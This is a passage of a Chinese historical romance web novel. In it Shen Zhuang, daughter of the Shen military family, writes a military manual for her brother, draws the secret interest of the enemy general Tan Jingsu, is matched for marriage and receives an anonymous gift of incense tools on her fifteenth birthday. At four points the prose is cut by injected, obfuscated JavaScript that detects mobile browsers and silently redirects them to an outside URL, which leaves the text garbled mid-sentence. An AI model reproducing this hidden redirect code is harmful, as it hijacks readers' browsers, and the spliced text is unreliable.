“戬儿又长个儿了，这身铠甲不合穿。”沈宜抬手指向挂在屏风后的明光铠，“去把明光铠换上。” “阿爹……”沈戬惊诧。 沈宜抬手打断了他：“你我父子，无须多言。不论我这腿好不好得了，这身明光铠都该是你的。”沈宜虽还对自己的腿伤抱有侥幸，但也心知自己年岁渐长，满身旧患，即便腿上的伤好了也再难恢复昔日骁勇。沈戬是他一手一脚带出来的，无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388137|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑射还是战术皆青出于蓝，沈家世代相传的明光铠穿在他的身上才不算辱没了。 沈戬胸中沸腾，沈家军虽以沈姓冠名，但终究是平霄的军队，主帅任免须由皇帝做主，父亲不能私下交付帅印。但明光铠是沈家私有，父亲将明光铠给他便等同是让他暂履主帅之责。 行伍之人不爱文人虚推谦让那套，沈戬自信眼下无人比他更适宜统帅沈家军。他起身退后两步，郑重行礼：“儿子决不辜负父亲期望。” 沈宜欣慰颔首：“起来吧，把铠甲换了，给阿爹和你祖母瞧瞧。” 沈戬这才缓缓站起身来，肃然走到屏风后将明光铠换上，肩头如有千斤重，步履却更畅快了。 本就高大的沈戬穿上明光熠熠的铠甲更显威风赫赫，沈宜侧过头稍拭眼下，当年襁褓里那个贪哭贪闹的孩子，如今已长大成人，能接替自己的位置了。 只感慨了片刻，沈宜收拾容色，郑重其事向沈戬交代军中事务，事无巨细，一直聊到黄昏时分。 沈妆在游廊等沈戬，伸长脖子盼了半天不见他出来等得乏了，斜身靠在丹红柱子上，悬着一只脚打晃。 “般般？”沈戬一出门就看见了那纤巧的鹅黄身影，他已有小半年没回过家，沈妆又正是蹿个儿的时候，单瞧背影竟不大敢认。 “阿兄！”沈妆不见沈戬的日子就更久了。那年她奉旨和亲，阿兄骑着白马送她入诏定关，那时候他也是穿着这身明光铠。 “般般长高了，像个大姑娘了。”沈戬笑起来有两个梨涡，即便是穿着寒光凛人的铠甲，仍似暖阳普照一般。 沈妆鼻子发酸，她记得上辈子沈戬也说过这话，也记得她和亲前沈戬摸着她的脑袋，说真希望她永远是个小孩子，不被卷进战祸之中。 她怎么可能不被卷进去。生于安国公府，她的命运早已与章州城系在一处。 “我正要去寻你。”沈戬走过去，半屈膝盖与她说话，“祖母说你近来没日没夜在院里练缨枪，是不是信不过阿兄，怕阿兄护不住你？” 她自小最信任的就是阿兄，总觉得有阿兄是武神转世，有他在章州城必定固若金汤。 可如今她已不是孩童，已知晓阿兄不是神人，不能时时处处都指望阿兄庇护。尤其是那日在云深寺遇见檀京肃，她更悔自己从前疏懒，没有好好习练武艺。 “我是想着把家传枪法练好，给阿爹瞧瞧，哄他开心。”沈妆随口扯了个谎。 沈戬拉起她的手看她手掌，掌心果然磨破了层皮。 “你这般练法，岂不教阿爹看了心疼？”沈戬小心翼翼往她手心吹气，“般般听话，练武非一日之功，不急这么一两日。” 沈妆乖巧点头，伤了疼了有人关心的感觉真好。 她神秘兮兮地把阿兄拉到一旁的槐树下，从怀里取出一册书交予沈戬，道：“我在市集上淘到一本兵书，虽不是名将之作倒也颇为巧妙，阿兄可要仔细研读。” 这几天她白天练武，夜里写书，勤勉极了。 她不想再嫁去大赫，不想再经历那些生离死别。但纵使提前知晓了世事又如何，大赫之强盛非她所能动摇，她也没有办法改变平霄南隅小国的处境。 但或许，她可以帮得上阿兄。 檀京肃用兵不拘于兵书战法，屡屡出奇制胜。若是阿兄提前知晓他的战术，便可提前筹谋应对之策。 好在她嫁去大赫后，常有人把檀京肃如何打赢她阿兄的事说来恶心她，听得多了也就记住了。她断断续续回忆了那些令人窒息的画面，将这些兵法写成了厚厚一册。 沈戬接过书册，封面仅书“兵法”二字，又翻开里页扫了一眼，字迹方正工整，娟秀中透着英气：“这是般般自己写的吧？” 5. 惦 记 沈妆乍然怔住，猛然想起平素阿娘寄去军营给阿兄的家书都是让她代写的，每月一封，回回都用十来页纸，她的字迹阿兄再熟悉不过了。 “我哪有这等本事。”沈妆赶紧找补，“那书太过破旧，看着费眼，我便誉了一份。”她心虚地回避着沈戬的目光。 “般般有心了。”沈戬没多想，毕竟沈妆年纪尚小，虽也常听父亲解说兵法，但毕竟没有见过真正的战场，如何能闭门造车。他又低头细看那《兵法》，翻过了一页又一页。 见沈戬没再追问，沈妆松了口气，试探问道：“阿兄觉得这些兵法如何？可好破解？” “奇诡难料，若真是在战场上遇见了，一时确不好拆解。”沈戬看得挪不开眼。 “那阿兄可得好好想想破解之法，或许将来真会遇上。”沈妆叮嘱道。 沈戬只“嗯”了一声，心思全投在了兵法上。他前后翻看书册想知晓作者何人，可惜并无署名。他不禁感慨：“也不知是什么年月写下的，不知那著书的先生还在不在世。若有幸能得见，我定要与他吃顿酒好好讨教。” 沈妆笑笑，人倒是还在世上，但吃酒讨教恐是不能的。 大赫定平侯府内。 檀京肃忽然拍案叹了句“妙哉”，将一旁品茶的裴径吓得够呛，茶水泼湿了那身新裁的锦缎，自顾叹了句"可惜了"。 檀京肃将暗探誊来的《兵法》递给他，裴径不以为然地接过来。探子回报，这所谓《兵书》是沈妆自个关在房里写的，才用了五日便完书了。如此出处，这书能有什么妙的。 然而只看了几眼裴径便皱了眉，不敢相信如此奇谋竟出自一个不曾上过战场的女子之手，而且这用兵的路数竟与檀京肃的有异曲同工之感。 “只可惜她是个女子，否则我倒真想与她在战场上过个手。”檀京肃感慨着，不顾裴径看得入迷伸手将那兵书收走，抚平翘起的边角，珍而重之收入柜中。 裴径探头瞄了一眼，那柜子里还收藏了一叠密报。他是檀京肃的私人军师，专司安插细作打探军情，这些密报里写了什么他最清楚不过。 也正因太过清楚，才觉檀京肃近来反常。 他们手上有一座如洇山庄，养着上千密探，安插在各国紧要处打探消息。向来暗探送回的密报他们都是阅过即焚，以免被别国的探子发现，暴露了自家密探的身份。 “你留这些做什么？”他抬了抬下巴指向柜子里的密报。 “自有用处。”檀京肃不作解释。 裴径想不明白这些家长里短的密报能有什么用处，但也没细问，省得檀京肃觉他太蠢。只道：“沈家虽不是什么铜墙铁壁，但安插一个密探也不容易。真就只让她打探沈家女儿的消息？沈宜和沈戬那边不盯着？” 他们安插在沈家的密探已经潜伏了五六年，一直不敢轻易启用。直到沈宜负伤在家休养，他们才让暗探回报沈宜的伤势。 本打算只用这一次，但不知何故，檀京肃忽命她盯着沈家女儿，事无巨细皆可记下，反倒是沈宜和沈戬的事情他毫不关心。 沈家这个女儿或许是有些禀赋，但毕竟是个女子，上不得战场，哪里值得探子冒着暴露身份的风险去盯，裴径不禁摇头。 檀京肃没答他，锁了柜子，将黄铜钥匙收入怀中。 “你要是担心她会是沈家军的助力，不如……”他横掌做了个抹脖的动作。 “不可胡来！”语气肃然，不容辩驳。 裴径悻悻，他也只是玩笑罢了，哪能真向一个十来岁的小丫头下手。 “不过那个沈姑娘的事情很快就用不着这个暗探了。”他端起边上一碟绿豆糕悠闲吃起来，边吃边说着，“平霄皇宫那边传来的消息，平霄皇后正帮她找婆家呢。” 檀京肃忽停下了手上的动作，扭头问他：“可知是何人？” “还未定下。” 裴径说完忽觉不妥，心里骤然腾起不妙之感。檀京肃向来是不问闲事的，怎的如今连人家要许什么婆家都要过问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388138|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他忍不住问道：“你不会是看上人家了吧！” 檀京肃没承认，却也没否认，裴径的面色渐从疑惑转为惊诧。 “人家可姓沈！”绿豆糕渣子喷了一地。 平霄的沈家军与大赫的军队交战数十载，可谓是仇深似海。陛下封他为定平侯，要定的就是平霄，要打的就是沈家。他惦记谁不好，竟惦记上沈家女儿，这可比黄鼠狼惦记看门犬还要荒唐。 “我知道。”檀京肃淡然答他，踱步至窗前的长案，挑了把合宜的锉刀继续打磨石头。 他平时喜欢捡些颜色特别的石头打磨成各式用具，手上这颗，是在云深寺捡来的黄蜡石。 霍霍磨石声响扰得裴径心慌，檀京肃却平静得似遁了道，一下一下又一下，仔仔细细将黄蜡石磨得温润通透，捧在日头底下一照，如黄翡翠一般。 裴径最见不得他磨石头，棱角分明的石头全让他一点一点磨出规整形状来，细想想让人毛骨悚然。他又提醒道：“你可别忘了，你刚把人家的爹给射瘸了，现在那位沈姑娘怕是恨透了你。” 檀京肃停下动作，转过头正色道：“我已下军令，此事不得再提。”暗箭伤人非君子所为，那日沈家军节节逼近，他为突出重围才不得已而为之。若再宣扬此事，不仅羞辱了沈宜，也羞辱了他自己。 军令如山，裴径不得不噤声，但心里仍有隐忧。过了会儿忍不住又劝了一句：“皇太孙那边可还红着眼，咱们切不可让他抓了把柄。” 檀京肃仿似听不见他的话，继续打磨黄蜡石。 裴径却心焦得厉害，过会儿又提醒他：“便是你不在意，穆王也不能答应。难不成你要为一个平霄女子和穆王反目吗？” 檀京肃本不欲多言，但裴径不厌其烦的规劝着实影响他磨石头的进度。 他这个军师主意不多，话却委实不少。 檀京肃停下手，道：“我只是觉得这姑娘有趣，并无非分之想。”他心底清楚，他与沈妆之间横着国仇家恨，越不过去。 6. 般 配 安国公府一番忙碌张罗，终于将沈戬的婚事定下了。仍与前世一样，娶的是私塾先生家的女儿孟福月。 这头三书六礼将孟福月迎进门，那头慢腾腾将婚讯传到帝都去。待皇帝收到消息已是腊月，新妇早已进了门，只得补份贺礼送来，附加几句恭喜话语。 沈妆很喜欢这个嫂嫂，温婉可亲，知书识礼，与阿兄站在一起的时候就如话本子里写的神仙眷侣一般。 孟福月也觉与沈妆投契，加之沈戬婚后常在军中，她闲时便来莺时园寻沈妆说话。 正逢春日，园中几株桃花开得正盛，沈妆拉着孟福月采花制香。 制香品香是件奢侈事，沉檀脑麝，都是比金子还要矜贵的，寻常人家哪里舍得烧来闻。 沈妆以前不明白为何祖母这般勤俭的人非要教她制香，直到后来去了大赫和亲，方知勋贵人家处处用香，她若不懂香必定要教人笑话讥讽，失了安国公府的体面。 不过若要刘耘从账上拨银子买香料是万万不可能的，好在皇帝知晓长公主爱香，每得了什么新奇香料都念着往国公府送一份。 祖母怕香料受潮，特地在府里腾了座阁楼当库房用。这藏香楼的钥匙祖母给了她一把，孟福月进门后祖母也给了一把。 “从前只在书里读过，说柳河东读韩昌黎的诗要熏燃玉蕤香，原以为熏香与鲜花香是一样的，如今细细闻了，确不可混作一谈。”孟福月扇了扇香烟，“单闻桃花香气眼前便只有满园春桃，加了其他香料配制，香气层叠，似虚似幻，如临幽境。” 沈妆不由佩服，她跟着祖母学了许久才开香窍，孟福月才学了一回就已能品出香境了。 “这香可有名堂？”孟福月问她。 “叫四和春。”沈妆道。这香方祖母自己配的，平日在熙春堂常能闻见。她去和亲的时候祖母给了她一瓮，想家的时候她就燃一些，闻得久了如今也成了她最喜欢的香气。 孟福月点点头，又闭上眼细细品闻：“确是春和景明。” 沈妆低头淡笑，她初闻时也只品出了春日和煦，许多年后方品出故土春和的离愁，想必祖母这些年也一直思念着帝都。 外头起了风，从窗户灌进来，打散了丝缕幽烟。孟福月缓缓睁开眼望向窗外，那方向正是军营所在。她在心里数了数日子，沈戬每旬能归家一日，再有三日就能见面了。她转过头来问沈妆：“我若是给你阿兄做个香囊，他会喜欢吗？” 香囊寄相思，多有情致的事啊。 “嫂嫂做的，阿兄自然喜欢。”沈妆心底羡慕，阿兄与嫂嫂情投意合，即便聚少离多也时时念着对方。而且孟家和安国公府就隔了两条街，嫂嫂若想见双亲随时都可以回去。就算不回娘家，国公府上下待也都待她很好，不似当年她在大赫，谁都要挑她的毛病，谁都不让她好过。 这辈子她再不想过那样的日子了。 沈妆望着香烟出神，日子一天天过去，她也一天天心慌。不知祖母和阿娘给她选婆家选得如何了，她现在只盼早日定下亲事，即便将来平霄仍旧战败，大赫挑人和亲也挑不着她。 孟福月问她香囊里该用什么香料，沈妆回过神来细想了想，阿兄不喜欢花粉香，觉得矫情，反倒喜欢檀香味，熏得屋里跟个道观似的才好。 她取了纸笔写香方，特意加了几味驱虫香料进去，军营里虫蝇多，香料驱虫能让阿兄少受点罪。孟福月歪头看着，沈妆的小楷笔势劲健，风骨峭拔，全然不似小女儿家的笔墨。她道：“将来我若有女儿定要她用你的字来临帖，舒展大气，瞧着就舒坦。” “我倒喜欢嫂嫂的簪花格，有书卷气。”沈妆吹干墨迹交予孟福月，道，“倒不必照方抓‘药’，有喜欢的香味尽可配进去试试，与旁人的不同才好。” 孟福月接过香方道了谢，转念又觉单嘴上道谢不够诚意，问她：“快入夏了，不如我给你绣个扇面。般般喜欢什么图样？” 孟福月的苏绣出神入化，前世她给沈妆绣过一把桃树仙鹤图团扇沈妆很是喜欢，可惜带去大赫后毁在了火里。她道：“桃树仙鹤图，可好？” 孟福月笑着应好，仙鹤灵秀又有傲骨，桃花娇艳喜人，这图样和她很相衬。 两人又说了会儿话，熙春堂来人请沈妆过去，孟福月便先告辞回去了。 祖母的熙春堂与沈妆的莺时院挨着，转个弯儿就到了。 屋里燃着四和春，香气袅袅宜人。祖母穿着蟹青夹袄卧在窗边贵妃榻上，落日余晖照得立领处的金嵌宝蝶恋花纽扣璀璨生光。饶是浴着日光，膝上仍要盖一件羊毛毯御寒。 贵妃榻旁的矮桌放了一封书信，已是启了封的，拿汉白玉纸镇压着。 此情此景，似曾相识。 祖母眯着眼冲她招手，沈妆提着裙摆小跑过去，蹲在她身边甜甜唤了声祖母。 祖母最是端庄矜重，笑容和煦如春水，眼角波痕也只透着娴雅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388139|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “般般的生辰快到了。”祖母抚着她的手背，眼里满是不舍，“十五及笄，及笈了，就是大姑娘了。” 她的生辰在四月，说近不近，说远不远，沈家向来没有大办及笈礼的惯例，祖母此时提起，只可能是要给她说亲了。 从前她不愿太早嫁人离家，阿娘与祖母每每提起要为她说亲，她避之不及。如今却是盼着早早将亲事定下，这一来即便沈家军再度战败，皇帝也不会让一个有夫之妇去和亲。 沈妆心中暗喜，脸上只作不知，眨着扑闪扑闪的长睫听祖母说话。 “皇后来信与我提起，她母家那边有个侄儿，年岁与你相仿，模样周正，写得一手好文章，今年刚中的举人。”祖母侧头看沈妆的反应，平平静静的。她又继续说道：“这孩子姓胡，他父亲在工部当差，书香门第，世代定居帝都，论起来倒是与你颇为般配。” 这门亲事上辈子祖母也与她说过，那时她不愿远嫁帝都，哭着闹着不乐意，祖母便没再提起。现在想想，帝都虽远还有回家省亲的机会，怎么也比去大赫和亲要强。 “不过，虽说皇后夸得千好万好，咱们毕竟没见过，不知道他为人如何，脾性如何，最要紧的，是不知道你与他是否合缘。”沈妆是明昭长公主的心头肉，她虽急着给孙女寻一门帝都的好亲事，却也仍有千万个不放心。 “你若也有意，待你及笈礼过后祖母带你回帝都走一趟，一来拜见皇帝皇后，二来也寻个由头见一见胡家的这位公子。你若是不喜欢，那便作罢。若是两厢合意，咱们也不急成婚，只先换了庚帖将亲事定下，待他得个一官半职再成婚不迟。” 平霄女子大多十六七成婚，沈妆才近十五，还能在父母身边多享几年天伦。也趁着这几年再观察观察胡举人的人品才学，若是名过于实，她便豁出老脸替孙女去悔婚，怎么着都不能让般般受委屈。 沈妆默然听着，她知道祖母能将此事说予她，便是已将一切都思虑妥当了。 其实胡举人将来有没有出息她并不在乎，只要不去大赫和亲，凭她的本事怎么都不至于将日子过得太差。更何况她出身国公府，嫁胡家算是低嫁，有国公府和沈家军撑腰，胡家人自不敢欺她。而皇帝陛下指着沈家军为他出生入死，对她这个沈家血脉定必照拂有加，给胡家人荫个一官半职算不得什么。 嫁进胡家，她这辈子横竖是吃穿不愁的。 “般般听祖母的。”沈妆仰头应道。 7. 生 辰 自从祖母与她说了胡家这门亲事，沈妆心里踏实不少，夜里睡觉也安稳了，一觉到天亮，再没梦见过檀京肃。偶尔倒是会梦见自己嫁人之后的日子，夫妻和睦言笑晏晏，儿女绕膝欢声不断。虽然每回都看不清夫君的模样，但那般温文尔雅，想必就是胡举人的模样了。 其实即便胡举人没有那么好，只要模样周正，人品不差，这门亲事她就打算点头了。 忧虑多时的大事定下了，心无挂碍，晨起耍枪练剑也顺畅许多。一套枪法练下来行云流水，汗衫湿透却半点不觉疲累。 沈妆灌了几口温水解渴，原打算再练一会儿，遥遥听见阿娘说话的声音，赶紧收了缨枪，乖乖巧巧地立在那儿冲刘耘甜笑。 刘耘看了直摇头，取了手帕擦她脸上的汗珠，训道：“虽说天气转暖，也不能出这么身汗在风口站着，快进屋去。” 沈妆乖巧地挽着刘耘的胳膊入屋，见她腰间别了把尺子，问说：“又要裁新衣了吗？不是上个月才做的夏衣？” “给帝都那边的，皇后娘娘说要送你一身衣裙给你当生辰礼物，宫里裁衣裳尺寸可讲究，得重新量。”刘耘侧头在她耳边低声说，“胡家那位大人在工部管着织造所，这一来你去了帝都才有由头与胡家人见面。” 虽说是两家早就商定好的，但总不能明刀明枪冲进人家家里去相看，传出去岂不让人以为他们沈家女儿不远千里上赶着去嫁胡家。 登门道谢偶然见面，才子佳人一见钟情，这才是世人爱听的佳话。 沈妆从前也憧憬过戏文里的佳偶天成，暗暗盼着哪日月老牵线让她遇上自己的真命天子，一见钟情，山盟海誓，至死不渝。可如今，已是不敢指望那些了，只要能不嫁给檀京肃她就知足了。 沈妆张开胳膊让刘耘量身，忍不住问道：“娘，您与阿爹是如何相识的？” 刘耘拿尺子轻敲她脑袋：“小姑娘家家的浑打听什么，站直些。” 沈妆笔挺挺站着，不依不饶嗲声闹着要听故事。刘耘最怕她撒娇，一听她撒娇就心软。想着女儿也快嫁人不算小孩儿了，这才松了口：“什么故事不故事的，就是赶巧撞上了呗。” 忆起年少时光，刘耘脸上羞出两朵红云。她收了尺子，坐下来娓娓说给沈妆听：“那会儿你阿爹刚从外边办完事儿章州城，路上马受了惊踩坏了我的庄稼。我当时也不知道他就是安国公，眼瞅着辛辛苦苦伺候了小半年的庄稼毁了，实在气得厉害，把他好一顿臭骂。他说要赔银子，我不肯，硬是让他去把两亩荒地给垦了。 没想到你爹他光会舞刀弄剑，连犁头都不会用，还是我教他的。后来他日日到我家来犁地，地犁好了又帮忙种庄稼，我们常常见面，说说笑笑的，慢慢就熟络了，再后来他便上你外公家提亲来了。” 沈妆心生羡慕，阿爹的马术那般好，策马万里从不曾伤过庄稼，却偏踩了阿娘的田，不是月老牵线又是什么。 “阿娘当时为什么不让阿爹赔银子？是不是那时就一见钟情了？” “浑说什么呢。”刘耘一戳她的脑门，脸色越发红润了，“我那会儿见他就是个毛躁小子，恨不得痛打他一顿才好，哪有什么情。可是气归气，庄稼毁了总得讨些实在的。银子虽好，却也用不长久。好容易逮个壮汉，不得让他帮着把荒地垦了，趁着春耕时节没过多种一季庄稼。” 沈妆忍不住发笑，阿娘向来是踏实直爽的人。 刘耘也低着头甜甜笑着，那些事儿恍如昨日，可他们的女儿竟已到了要议亲的年纪。虽说她一直想让沈妆嫁到帝都去过安稳日子，可真到要将女儿送出去的时候，心里又舍不得了。 想着将来难与女儿见面，刘耘眼眶发红。沈妆知她为何难过，侧身靠过去将头依偎在她胳膊上：“帝都其实也不远，将来阿娘想我了就让爹爹策马带阿娘一起去看我。” 刘耘吸了吸鼻子，道：“亲事都还没定下来就说这些，你也不怕臊。” “与阿娘私下说的有什么可臊。” 刘耘拧眉摇头：“人家帝都那边处处讲规矩，你去了可不能像在家这般胡闹。那些刀枪剑戟的也都收起来，可别吓着人家。” “晓得的。”她故意逗阿娘，“沈家枪法虽能横扫千军，可随身带着缨枪实在招摇，改日我就去学套近身拳法。”说着还比划了两拳，刘耘气得拿尺子要打她，沈妆敏捷躲闪，嘻嘻笑着。 春夏多雨，连绵下了数日。 沈妆不喜阴雨天，一下雨就觉浑身疲懒不乐意出门，自个在屋里调香品香，顺带想一想有什么是将来要带去帝都的，提前准备起来免得到时手忙脚乱。 进了四月雨天就少了，只在她生辰前一夜淅淅沥沥下了一阵儿。 沈妆晨起推窗，莺时院里落了满地海棠，红红艳艳煞是好看。沈妆特意嘱咐丫头们别去扫它们，留着颜色添一日彩。 孟福月过来催她更衣梳妆，虽然免了繁琐的及笄礼，但仍是要早起向长辈们问安的。 沈妆从衣橱里取出帝都送来的新衣，孟福月帮着换上。大红妆花仙鹤云绢衣并海马朝云纹金丝蓝缎裙，穿上身整个人都似耀着光，沈妆自己照着镜子都愣了许久。 “这衣裳真好看。”孟福月忍不住羡慕，但也只是羡慕。这般隆重的衣裙是不容易穿的，需得像沈妆这样带几分英气的女子才能穿得好看，太柔弱的会被衣裳压住神采。 沈妆笑笑，道：“我这是沾了祖母的光，将来阿兄立了战功，嫂嫂封了诰命，仪服必定更好看。” 孟福月眼似弯月，笑道：“那我可当这是你生辰许的愿了。”她不在乎有没有诰命，但她知道沈戬很想立战功，想告诉天下人，他虽不是沈家亲生子亦能接得了沈家军的班。 沈妆笑着点头：“我许的愿向来很灵。”孟福月确有诰命加身的一天，不过那是在她去大赫和亲后的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388140|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她去大赫和亲后，平霄与大赫有过短暂的合盟，阿兄和檀京肃一起攻打柴武，大胜而归，阿兄册为安国公府世子，孟福月也得了诰命。 那时候阿兄还去了大赫，可惜她千方百计也没能见上阿兄一面，未能亲口道一声恭喜。 窗外天已亮透，沈妆在梳妆台前坐好，孟福月帮她梳头，桃木梳沾了木犀香油，将发丝梳得服服帖帖的，再一缕缕绾起来盘成双环髻，插了一对金镶宝蜻蜓步摇。 许久不作这般端正的打扮，沈妆浑身不自在，走路也不自觉一板一眼起来，显得整个人格外沉稳，仿佛真的一夜之间长大成人了。 她先去给燕翳院给阿爹阿娘叩头请安，跪听了一番训诫。之后又去了祖母那儿说了一会儿话，一番折腾下来已到了午膳的时辰。 及笄是大日子，沈戬特意告了半日假回家团聚。 回来路上不忘给沈妆买个烤红薯作贺礼，沈妆瞧见他偷偷往孟福月袖子里也塞了一个。 沈妆吃了甜似蜜的烤红薯，又贪嘴吃了两块甜糕，到开席的时候已经吃不下饭了，连累沈戬被刘耘训了话。 毕竟是生辰，饭可以不吃，长寿面是不能少的。厨房端了碗热腾腾的清汤面上来，刘耘让她到边上走两圈，把肚子里的消化了再来吃面。 戴着这么一头首饰又穿了好几层衣裳，走两步就出汗了，沈妆不愿走动，握了筷子开始吃面。刘耘再三叮嘱她要一口气吃完整根面条不能咬断，否则意头不好。 沈妆嗯了两声应下，虽然她并不信这些，但刘耘向来很信鬼神之说。 沈戬一坐下来沈宜就不停问他军务上的事，沈妆边吃边听着。 阿兄接替阿爹这一年多来章州城还算太平，大赫顾着打焦禹国没往他们这边来。 大赫打焦禹，主帅就是檀京肃。她记得焦禹后来投降归顺，成了大赫的属国。 “听闻檀京肃领着骁驰军趁夜奇袭，直捣焦禹王帐，斩了焦禹王，如今焦禹已归入大赫版图了。” 阿兄的话让沈妆乍然惊愕，一恍神将长寿面咬断。她慌忙夹起面条，趁着阿娘没发现赶紧一口气将面条吸溜了，鼓着腮帮子边嚼边听阿兄说话。 “探子报说，檀京肃这仗打得又狠又急，下了军令四月之前就要回大赫复命。” 沈宜砸吧着嘴思忖，他领了这么多年的兵却也想不明白四月于兵家有何特别之处。他道：“许是大赫朝廷那边的争端吧。”大赫皇帝有儿有孙，为着储君的事整个朝堂闹得一团乱，檀京肃是檀皇后的亲侄，想必不能置身事外。 沈戬正要接话，眼尾瞅见母亲刘耘面露不悦，知晓母亲不乐意他们在家宴上谈论战事，话锋一转：“父亲说的是，总不能是赶着回来给咱们般般过生辰的。” 阿兄冷不防一个玩笑，差点没让沈妆被面条噎死。 一家人笑哄哄的，只有沈妆咳得满面通红。 8. 石 头 好容易顺过了气，沈妆靠在椅背上休息。春末夏初的风不燥不凉，吹起来最是舒服，阿娘不时给阿爹夹菜，阿兄偷偷在桌底下牵嫂嫂的手，祖母喝了不少果子露，面色格外红润。 对于他们沈家而言，这样一家人聚在一起开开心心吃饭是极难得的，每每格外珍惜。 国公府石墙外喧嚣渐起，柳管事快步去察看了又快步回来禀道：“外头来了不少乡亲，说是想送礼贺小姐及笄。” 沈妆坐直起来，惑道：“他们怎么知道我今日及笄？” 他们安国公府行事向来低调，别说是她的及笄礼不敢大操大办，就连祖母的大寿也是从简的，百姓又如何知晓？ 而且上辈子她也是这般办的及笄礼，并没人来送什么贺礼。 “许是帝都送衣裳来的时候阵仗大，乡亲们瞧见了就传开去了。”柳管事如是猜想。 章州城地处偏远，难得才见着帝都来的人，百姓们打听猜测都是难免的。沈妆想想，如此解释倒也在理。 乡亲们盛意拳拳，他们若是拒人千里未免教人觉得心寒，可是沈家向来是不收百姓一粒米粮的。刘耘犯了愁，眼睛移向祖母。祖母便拿了主意，让柳管事将礼物收下，各回一个小荷包作为谢礼，既不占百姓的便宜，也给沈妆的及笄礼添兴。 柳管事依话照办，将礼物悉数收了，推着木头车一并送去了莺时院。 饭后沈妆回莺时院休息时院子已被大大小小的贺礼堆满，花篮、糖糕、面人等等，皆是吉祥寓意。她招呼院里的丫头婆子过来将吃食分了，有喜欢的物件尽可挑去。 老老少少蜜蜂似的围过来，沈妆自回房去换衣裳，这身缎裙束手束脚，拘得浑身都不松快了。 缎裙繁复不好脱下，沈妆正愁不知从何下手时，曹阿梨敲门进来。沈妆如得了救星一般，唤她帮自己宽衣。 “小姐先别忙换衣裳了，快来瞧瞧这个。”曹阿梨吃力地抱着一个小木箱进来，小心翼翼放到桌上。她自小伴在沈妆身边最知她喜好，一见这箱里的物什便知沈妆定会喜欢，碰也不让旁人碰，赶紧抱进屋来。 沈妆好奇凑过去瞧，木箱整整齐齐摆着一套黄蜡石香具，香炉、香箸、香铲、香勺等等一应俱全。 “这也是乡亲送的？”沈妆取了莲花鹊尾香炉起来捧在掌中细看，炉身磨出了莲花形状，手掌大小，纹理细密。炉柄先向下而后向上翻折，柔滑流畅如绸带波动，好不巧妙。黄蜡石在章州城并不少见，但要打磨得这般工致可要耗费不少功夫。 曹阿梨点了点头：“这箱子瞧着不打眼，没想到里头的东西是这般好的。想必是精心为小姐准备的，我们可不好冒领了人家的一片心意。” “那放这儿吧。”沈妆眉眼舒着欢喜，她一见这套香具就喜欢得很，若真要送了别人她可该舍不得了。 她又取出盒中的香箸抚玩，箸头处雕了极细的海波纹，既显精巧又便于夹取香丸香片，不得不赞叹打磨之人心思巧妙。她问：“可知是谁送的？”送礼之人如此有心，她得好好谢谢人家才是。 曹阿梨摇了头：“我方才已翻过了柳管事记的礼单，独这一份没留下姓名。” 沈妆笑靥微滞，若是寻常百姓所赠，她厚礼相谢也就周全了。可送礼的人如此低调，莫不是另有用心？ 他们安国公府偶尔也会收到特别的礼，多是些半大不小的官员想将自家儿郎送进沈家军军营混个不用上战场的武职，将来好高升去其他太平地界。 阿爹向来最烦这等人，行军打仗岂可儿戏，不论送的是什么样的奇珍异宝，一律黑着脸连人带礼赶出去。有两回遇上死缠烂打的，索性将那公子哥儿收进军营里，逼着他每日随沈家军操练，那些娇生惯养的公子哥儿如何受得住，不到两天就哭着喊着要当逃兵了。 事情传扬开去，已经好些年没人敢动这门心思了。 “要不让柳管事去查一查？”军营里的事情曹阿梨所知不多，但见沈妆面有忧色猜想她是有所忧虑的。 沈妆摇头道了句“不必了”，万一人家并没有旁的心思，她这般以小人之心揣度岂不教人寒心。更何况这香具打磨得如此用心，想必送香具的也并非急功好利之人，多半是她过虑了。 沈妆爱惜地抚了又抚，不舍地将香具整齐收回箱中，腾出柜子深处收进去。倘若过段时日当真有人登门她便原封不动退还，若无人寻来，那便是她多心，到时焚香品香也能更安心些。 收好香具，沈妆正打算小憩片刻，外头传来小丫头们给祖母问安的声音。 